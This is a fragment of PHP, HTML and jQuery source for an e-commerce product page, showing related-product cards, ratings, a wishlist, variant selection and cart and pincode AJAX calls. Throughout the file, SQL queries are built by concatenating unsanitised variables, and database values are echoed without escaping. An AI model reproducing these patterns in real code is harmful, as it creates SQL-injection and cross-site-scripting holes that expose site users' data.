if($parent_id){
$querycat="select * from products where products.parent_id='$parent_id' and id!='$id' order by rand() limit 10";
}
else{
$querycat="select * from products where products.category_id='$cat_id' and id!='$id' order by rand() limit 10";
}
$resp=mysqli_query($con,$querycat);
while($rowap=mysqli_fetch_array($resp))
{
$rvw=$con->query("SELECT SUM(rating) as total,count('rating') as total_rating FROM reviews WHERE product_id='".$rowap['id']."'");
$review_avg=mysqli_fetch_assoc($rvw);
$total_rating=$review_avg['total_rating'];
$total = $review_avg['total'];
$avg = $total/$total_rating;
if ($review_avg['total']==0) {
$avg = 0;
}
if ($avg==4) {
$badge = 'badge_warning';
}elseif($avg<=3){
$badge='badge_danger';
}else{
$badge='badge_success';
}
?>
<div class="col">
<div class="card">
<?php
$prid=$rowap['id'];
$query="SELECT * FROM product_variant WHERE product_id='".$prid."'";
$res=mysqli_query($con,$query);
$query="SELECT * FROM product_variant WHERE product_id='".$prid."'";
$new_res=mysqli_query($con,$query);
$num=mysqli_num_rows($res);
$rowjoin=mysqli_fetch_assoc($res);
//echo json_encode($rowjoin)
?>
<a class="fr-img" href="<?=SITE_URL.'product/'.$rowap['slug'];?>">
<center>
<div id="ribbon">
<span class="ribbon3"><?php $dis=intval($rowjoin['price'])-intval($rowjoin['discounted_price']);
if($dis>0){ echo round($dis*100/$rowjoin['price'],1);} else{ echo '0';} ?>% off</span>
</div>
<div class="wishlist">
<?php
if (isset($_SESSION['userid'])) {
$sql = "SELECT * FROM wishlist WHERE product_id='".$rowap['id']."' AND user_id='".$_SESSION['userid']."'";
$wish=mysqli_query($con,$sql);
$num_rows=mysqli_num_rows($wish);
if($num_rows > 0){
$rows=mysqli_fetch_assoc($wish);
echo '<span onclick="wishlist_del('.$rows["id"].')"><i style="color:red;" class="fa fa-heart" data-toggle="tooltip" data-placement="top" title="Remove Wishlist"></i></span>';
}else{
echo '<span onclick="wishlist('.$rowap["id"].')"><i class="fa fa-heart" data-toggle="tooltip" data-placement="top" title="Add To Wishlist"></i></span>';
}
}else{
echo '<a href="login.php" class="add_to_wishlist" data-toggle="tooltip" data-placement="top" title="Add To Wishlist"><i class="fa fa-heart"></i></a>';
}
?>
</div>
<img src="admin/<?php echo $rowap['image']; ?>" alt="image" ></center>
<span class="ind-icon">
<?php if(intval($rowap['indicator'])==1){
echo '<span class=" veg-icon"><img src="images/vegicon.svg"></span>';
}
if(intval($rowap['indicator'])==2){
echo '<span class=" non-veg-icon"></span>';
} ?>
</span>
<div class="container">
<a href="<?=SITE_URL.'product/'.$rowap['slug'];?>">
<h4><p class="prname" style="font-size:16px;"><?php if (strlen($rowap['name']) <=25) {
echo $rowap['name'];
} else {
echo substr($rowap['name'], 0, 25) . '...';
} ?></p></h4>
</a>
<div class="cities text-left mb-2">
<?php
$cities=$con->query("SELECT * FROM city");
while($city=mysqli_fetch_array($cities)){
?>
<span><?=$city['name'];?></span>
<?php } ?>
</div>
<div class="rating text-left">
<span class="badge <?=$badge;?>"><?=round($avg,1);?> <i class="fa fa-star"></i></span>
<?php if($rowap['assured']==1){ ?><span class="float-right badge badge-primary"><img src="images/assured.png"> Assured</span><?php } ?>
</div>
<div class="row mb-2">
<div class="dsc_price col-md-12"><span class="no-cut mr-2">₹<?php echo $rowjoin['discounted_price'];?> </span> <del class="cut-prc" style="color:gray;"><span style="color:gray;">₹<?php echo $rowjoin['price'];?> </span></del></div>
</div>
</a>
</div>
</div>
</div>
<?php
}?>
</div>
</div>
<style>
@media (min-width: 992px) {
.col-md-1-5 { -webkit-box-flex: 0;
-ms-flex: 0 0 20%;
flex: 0 0 20%;
max-width: 20%;
padding: 2px;
}
}
</style>
<script>
$(document).ready(function() {
$('.minus').click(function () {
var $input = $(this).parent().find('input');
var count = parseInt($input.val()) - 1;
count = count < 1 ? 1 : count;
$input.val(count);
$input.change();
return false;
});
$('.plus').click(function () {
var $input = $(this).parent().find('input');
$input.val(parseInt($input.val()) + 1);
$input.change();
return false;
});
});
</script>
</div>
</section>
<?php include('footer.php');
ob_flush();
?>
<script src="https://cdnjs.cloudflare.com/ajax/libs/elevatezoom/2.2.3/jquery.elevatezoom.min.js"></script>
<script>
// document.addEventListener("DOMContentLoaded", function () {
// if (window.innerWidth <= 768) {
// document.querySelectorAll("img").forEach(function (img) {
// img.removeAttribute("data-zoom");
// img.removeAttribute("class");
// });
// }
// });
$(document).ready(function(){
$('.question').click(function(event){
event.stopPropagation();
$('#popover-card').toggle();
});
$(document).click(function(event) {
if (!$(event.target).closest('#popover-card, .question').length) {
$('#popover-card').hide();
}
});
});
$(".zoom").elevateZoom();
$(document).ready(function(){
$('.itm-add').click(function(){
//alert('f');
var qnt =$('#quantity').val();
var qnt =parseInt(qnt)+1;
$('#quantity').val(qnt);
})
$('.itm-minu').click(function(){
//alert('f');
var qnt =$('#quantity').val();
if(parseInt(qnt)>0){
var qnt =parseInt(qnt)-1;
}
$('#quantity').val(qnt);
})
$('.btncart').click(function(){
var qnt =$('#quantity').val();
$('#quantity_to_add').val(qnt);
$('.add_frm').submit();
})
})
$(document).ready(function(){
$('.show-colors').click(function(){
$('.show-colors').removeClass("active");
$('.show-colors').removeClass("active1");
$(this).addClass("active");
});
var val=$('#get_data0').attr('data');
$('#colorss').val(val);
// ===========size===========
var size=$('.active_color1').attr('data');
$('#prod_variant').val(size);
});
function color(e){
// alert('s');
$('#colorss').val(e);
var prod_id = $('#productid').val();
$.ajax({
url: "<?=SITE_URL?>get_color_by_img.php",
type: "POST",
data: {
color_id: e,product_id: prod_id,
},
success: function (response) {
$("#color_img").html(response);
$(".mySlides").css("display", "none");
$("#color_img").css("display", "block");
console.log(response);
},
})
};
// ========size active===========
$('.prod_size').click(function(){
$('.prod_size').removeClass("active_color");
$('.prod_size').removeClass("active_color1");
$(this).addClass("active_color");
});
function get_variant(e) {
// alert('sd');
$.ajax({
url: "get_variant.php",
type: "POST",
data: {
variant_id: e,
},
success: function (response) {
var data = $.parseJSON(response);
$('#prices span').html(data.discounted_price);
$('#mrp').html(data.price);
$('#variant_color').html(data.color);
$('.script').html(data.script);
$('#colorss').val(data.color_id);
$('#off').html(data.off);
$('#prod_variant').val(data.variant_id);
$('#hides').hide();
},
})
}
function wishlist(e) {
// var user_id=<?php echo $_SESSION['userid']?>;
$.ajax({
url: "add_wishlist.php",
type: "POST",
data: {
prod_id:e,
},
success: function(response){
alert(response);
location.reload();
},
})
}
function wishlist_del(e) {
$.ajax({
url: "add_wishlist.php",
type: "POST",
data: {
delete_id: e,
},
success: function(response){
alert(response);
location.reload();
},
})
}
// ==================buy now=======================
function buy_now(e) {
var prod_variant = $('#prod_variant_id').val();
var classes = $('#classes').val();
if (prod_variant=='') {
alertify.set('notifier','position', 'top-right');
alertify.error('Size Required');
$('#prod_variant_id').focus();
}else if (classes=='') {
alertify.set('notifier','position', 'top-right');
alertify.error('Class Required');
$('#classes').focus();
}else{
var color = $('.colours').val();
var quantity = 1;
$.ajax({
url: "add_to_cart.php",
type: "POST",
data: {
prd_id: prod_variant,classes: classes,color:color,quantity: quantity,prd_id_exc:e,
},
success: function(response){
window.location.href="checkout.php?d="+response;
},
})
}
}
// ==================check pincode availability===============
function check_pincode(e) {
var pincode=$('#pincode').val();
if(pincode==''){
$('#msg').html('<p class="alert alert-danger">Please enter pincode</p>');
$('#msg').show();
setTimeout(function () {
$('#msg').hide()
}, 4000)
}else{
$.ajax({
url: "check_pincode.php",
type: "POST",
data: {
pincode: pincode,
},
success: function(response){
$('#msg').html(response);
$('#msg').show();
// setTimeout(function () {
// $('#msg').hide()
// }, 4000)
},
})
}
}
</script>
<script src="https://s3-us-west-2.amazonaws.com/s.cdpn.io/164071/Drift.min.js"></script>
<script>
document.addEventListener("DOMContentLoaded", function () {
if (window.innerWidth >= 768) {
$(".demo-trigger").hover(function() {
$('.detail').show();
},
function() {
$('.detail').hide();
});
var demoTrigger = document.querySelector('.demo-trigger');
var paneContainer = document.querySelector('.detail');
new Drift(demoTrigger, {
paneContainer: paneContainer,
inlinePane: false,
});
}
});
for (let i = 0; i < 10; i++) {
$(".demo-trigger"+i).hover(function() {
$('.detail').show();
},
function() {
$('.detail').hide();
});
var demoTrigger = document.querySelector('.demo-trigger'+i);
var paneContainer = document.querySelector('.detail');
new Drift(demoTrigger, {
paneContainer: paneContainer,
inlinePane: false,
});
}
</script>